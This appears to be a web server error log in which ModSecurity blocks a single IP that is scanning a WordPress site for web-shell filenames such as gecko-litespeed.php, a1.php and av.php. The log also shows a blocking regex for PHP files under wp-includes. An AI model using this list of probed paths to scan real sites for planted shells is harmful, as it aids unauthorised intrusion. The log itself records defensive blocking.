[Thu Feb 26 10:25:54.181919 2026] [:error] [pid 25311:tid 25315] [client 20.100.197.204:56776] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aZ-vMtfdM__yZAgJFSs7pwAAAYE"]
[Thu Feb 26 10:25:55.588171 2026] [:error] [pid 55618:tid 55629] [client 20.100.197.204:47957] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aZ-vMx61Vrh12f_8oWQv4QAAAQg"]
[Thu Feb 26 10:25:57.623157 2026] [:error] [pid 25311:tid 25324] [client 20.100.197.204:30318] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aZ-vNdfdM__yZAgJFSs71AAAAYo"]
[Thu Feb 26 10:25:58.835012 2026] [:error] [pid 3883:tid 3890] [client 20.100.197.204:30279] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aZ-vNuA33x90V6yYHaj34gAAAUQ"]
[Thu Feb 26 10:26:00.647858 2026] [:error] [pid 55618:tid 55635] [client 20.100.197.204:6941] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aZ-vOB61Vrh12f_8oWQv-AAAAQ4"]
[Thu Feb 26 10:26:01.605637 2026] [:error] [pid 55618:tid 55625] [client 20.100.197.204:55088] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aZ-vOR61Vrh12f_8oWQv_QAAAQQ"]
[Thu Feb 26 10:26:03.443629 2026] [:error] [pid 55618:tid 55643] [client 20.100.197.204:56821] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aZ-vOx61Vrh12f_8oWQwBAAAARY"]
[Thu Feb 26 10:26:05.737527 2026] [:error] [pid 25311:tid 25324] [client 20.100.197.204:50469] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aZ-vPdfdM__yZAgJFSs8GwAAAYo"]
[Thu Feb 26 10:26:06.555590 2026] [:error] [pid 55618:tid 55625] [client 20.100.197.204:20920] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aZ-vPh61Vrh12f_8oWQwEQAAAQQ"]
[Thu Feb 26 10:26:07.892661 2026] [:error] [pid 25311:tid 25337] [client 20.100.197.204:52907] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aZ-vP9fdM__yZAgJFSs8OAAAAZc"]
[Thu Feb 26 10:26:09.278479 2026] [:error] [pid 3883:tid 3892] [client 20.100.197.204:47190] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aZ-vQeA33x90V6yYHaj4OgAAAUY"]
[Thu Feb 26 10:26:10.143204 2026] [:error] [pid 54990:tid 55000] [client 20.100.197.204:47202] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aZ-vQntr2qmt_mBhH2zIAgAAAAc"]
[Thu Feb 26 10:26:10.686086 2026] [:error] [pid 55051:tid 55073] [client 20.100.197.204:56801] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aZ-vQgmK1w2kZvh5eLG-9QAAAJM"]
[Thu Feb 26 10:26:11.559152 2026] [:error] [pid 3883:tid 3906] [client 20.100.197.204:47378] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aZ-vQ-A33x90V6yYHaj4QgAAAVQ"]
[Thu Feb 26 10:26:12.344609 2026] [:error] [pid 3883:tid 3902] [client 20.100.197.204:47215] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aZ-vROA33x90V6yYHaj4RAAAAVA"]
[Thu Feb 26 10:26:13.024091 2026] [:error] [pid 54990:tid 55003] [client 20.100.197.204:52897] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aZ-vRXtr2qmt_mBhH2zICAAAAAo"]
[Thu Feb 26 10:26:14.014642 2026] [:error] [pid 55618:tid 55638] [client 20.100.197.204:52876] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aZ-vRh61Vrh12f_8oWQwHAAAARE"]
[Thu Feb 26 10:26:14.791343 2026] [:error] [pid 55618:tid 55639] [client 20.100.197.204:50463] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aZ-vRh61Vrh12f_8oWQwJAAAARI"]
[Thu Feb 26 10:26:15.905964 2026] [:error] [pid 25311:tid 25316] [client 20.100.197.204:47418] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aZ-vR9fdM__yZAgJFSs8TQAAAYI"]
[Thu Feb 26 10:26:17.171451 2026] [proxy_fcgi:error] [pid 25311:tid 25314] [client 20.100.197.204:52873] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:26:17.457903 2026] [proxy_fcgi:error] [pid 25311:tid 25333] [client 20.100.197.204:52873] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:26:18.202795 2026] [proxy_fcgi:error] [pid 25311:tid 25323] [client 20.100.197.204:52873] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:26:18.466239 2026] [proxy_fcgi:error] [pid 25311:tid 25324] [client 20.100.197.204:52873] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:26:18.729094 2026] [proxy_fcgi:error] [pid 25311:tid 25331] [client 20.100.197.204:52873] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:26:18.996441 2026] [proxy_fcgi:error] [pid 25311:tid 25314] [client 20.100.197.204:52873] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:26:19.265170 2026] [proxy_fcgi:error] [pid 25311:tid 25320] [client 20.100.197.204:52873] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:26:19.913612 2026] [:error] [pid 25311:tid 25326] [client 20.100.197.204:52873] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admins.php"] [unique_id "aZ-vS9fdM__yZAgJFSs8cQAAAYw"]
[Thu Feb 26 10:26:20.479845 2026] [:error] [pid 3883:tid 3891] [client 20.100.197.204:20944] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admins.php"] [unique_id "aZ-vTOA33x90V6yYHaj4aQAAAUU"]
[Thu Feb 26 10:26:21.303835 2026] [:error] [pid 3883:tid 3896] [client 20.100.197.204:51521] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admins.php"] [unique_id "aZ-vTeA33x90V6yYHaj4bwAAAUo"]
[Thu Feb 26 10:26:22.057157 2026] [:error] [pid 3883:tid 3891] [client 20.100.197.204:18859] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admins.php"] [unique_id "aZ-vTuA33x90V6yYHaj4egAAAUU"]
[Thu Feb 26 10:26:22.881476 2026] [:error] [pid 3883:tid 3904] [client 20.100.197.204:18837] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aZ-vTuA33x90V6yYHaj4jQAAAVI"]
[Thu Feb 26 10:26:23.529246 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:31690] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aZ-vT9fdM__yZAgJFSs8fQAAAYA"]
[Thu Feb 26 10:26:24.454043 2026] [:error] [pid 55051:tid 55078] [client 20.100.197.204:56644] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aZ-vUAmK1w2kZvh5eLG_FQAAAJg"]
[Thu Feb 26 10:26:25.192474 2026] [:error] [pid 54990:tid 55011] [client 20.100.197.204:20937] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aZ-vUXtr2qmt_mBhH2zIDgAAABI"]
[Thu Feb 26 10:26:26.105751 2026] [:error] [pid 3883:tid 3899] [client 20.100.197.204:56203] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aZ-vUuA33x90V6yYHaj4rwAAAU0"]
[Thu Feb 26 10:26:26.839512 2026] [:error] [pid 55051:tid 55068] [client 20.100.197.204:43350] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aZ-vUgmK1w2kZvh5eLG_JgAAAI4"]
[Thu Feb 26 10:26:27.966445 2026] [:error] [pid 25311:tid 25328] [client 20.100.197.204:55477] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aZ-vU9fdM__yZAgJFSs8ogAAAY4"]
[Thu Feb 26 10:26:28.852291 2026] [:error] [pid 55122:tid 55129] [client 20.100.197.204:56689] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aZ-vVILiR0OfjFxvcN-QXAAAAMU"]
[Thu Feb 26 10:26:29.640025 2026] [:error] [pid 54990:tid 55009] [client 20.100.197.204:56641] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aZ-vVXtr2qmt_mBhH2zIXQAAABA"]
[Thu Feb 26 10:26:30.674863 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:57043] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aZ-vVtfdM__yZAgJFSs8sQAAAYA"]
[Thu Feb 26 10:26:31.337830 2026] [:error] [pid 55618:tid 55640] [client 20.100.197.204:44872] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aZ-vVx61Vrh12f_8oWQwYwAAARM"]
[Thu Feb 26 10:26:31.977463 2026] [:error] [pid 3883:tid 3908] [client 20.100.197.204:58611] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aZ-vV-A33x90V6yYHaj4zQAAAVY"]
[Thu Feb 26 10:26:32.638739 2026] [:error] [pid 25311:tid 25323] [client 20.100.197.204:24392] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aZ-vWNfdM__yZAgJFSs8vAAAAYk"]
[Thu Feb 26 10:26:33.297708 2026] [:error] [pid 55122:tid 55125] [client 20.100.197.204:33058] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aZ-vWYLiR0OfjFxvcN-QYwAAAME"]
[Thu Feb 26 10:26:34.317510 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:43947] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aZ-vWtfdM__yZAgJFSs8wQAAAYA"]
[Thu Feb 26 10:26:35.469106 2026] [:error] [pid 55122:tid 55136] [client 20.100.197.204:47756] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "aZ-vW4LiR0OfjFxvcN-QZwAAAMw"]
[Thu Feb 26 10:26:36.500171 2026] [:error] [pid 55122:tid 55131] [client 20.100.197.204:24425] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aZ-vXILiR0OfjFxvcN-QawAAAMc"]
[Thu Feb 26 10:26:37.807304 2026] [:error] [pid 55618:tid 55630] [client 20.100.197.204:7604] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aZ-vXR61Vrh12f_8oWQwcQAAAQk"]
[Thu Feb 26 10:26:42.853972 2026] [:error] [pid 55618:tid 55625] [client 20.100.197.204:7589] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aZ-vYh61Vrh12f_8oWQwggAAAQQ"]
[Thu Feb 26 10:26:48.380432 2026] [:error] [pid 3883:tid 3890] [client 20.100.197.204:61975] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "aZ-vaOA33x90V6yYHaj5BwAAAUQ"]
[Thu Feb 26 10:26:49.839074 2026] [:error] [pid 25311:tid 25327] [client 20.100.197.204:7915] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aZ-vadfdM__yZAgJFSs9GAAAAY0"]
[Thu Feb 26 10:26:51.566506 2026] [:error] [pid 54991:tid 55024] [client 20.100.197.204:7118] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aZ-va94Zx-mJ8gbRB2hxgQAAAEQ"]
[Thu Feb 26 10:26:52.383228 2026] [:error] [pid 25311:tid 25336] [client 20.100.197.204:40664] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aZ-vbNfdM__yZAgJFSs9IgAAAZY"]
[Thu Feb 26 10:26:53.081161 2026] [:error] [pid 25311:tid 25316] [client 20.100.197.204:42143] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aZ-vbdfdM__yZAgJFSs9JQAAAYI"]
[Thu Feb 26 10:26:54.062909 2026] [:error] [pid 25311:tid 25315] [client 20.100.197.204:49165] [client 20.100.197.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aZ-vbtfdM__yZAgJFSs9KwAAAYE"]
[Thu Feb 26 10:26:55.210534 2026] [:error] [pid 3883:tid 3896] [client 20.100.197.204:55598] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aZ-vb-A33x90V6yYHaj5HgAAAUo"]
[Thu Feb 26 10:26:56.642766 2026] [:error] [pid 25311:tid 25333] [client 20.100.197.204:61952] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aZ-vcNfdM__yZAgJFSs9MwAAAZM"]
[Thu Feb 26 10:26:57.653516 2026] [:error] [pid 55618:tid 55641] [client 20.100.197.204:42157] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aZ-vcR61Vrh12f_8oWQwrAAAARQ"]
[Thu Feb 26 10:26:58.801334 2026] [:error] [pid 25311:tid 25320] [client 20.100.197.204:7154] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aZ-vctfdM__yZAgJFSs9NQAAAYY"]
[Thu Feb 26 10:27:00.627490 2026] [:error] [pid 55122:tid 55141] [client 20.100.197.204:47857] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aZ-vdILiR0OfjFxvcN-QhAAAANE"]
[Thu Feb 26 10:27:02.994559 2026] [:error] [pid 55122:tid 55148] [client 20.100.197.204:44437] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aZ-vdoLiR0OfjFxvcN-QhgAAANg"]
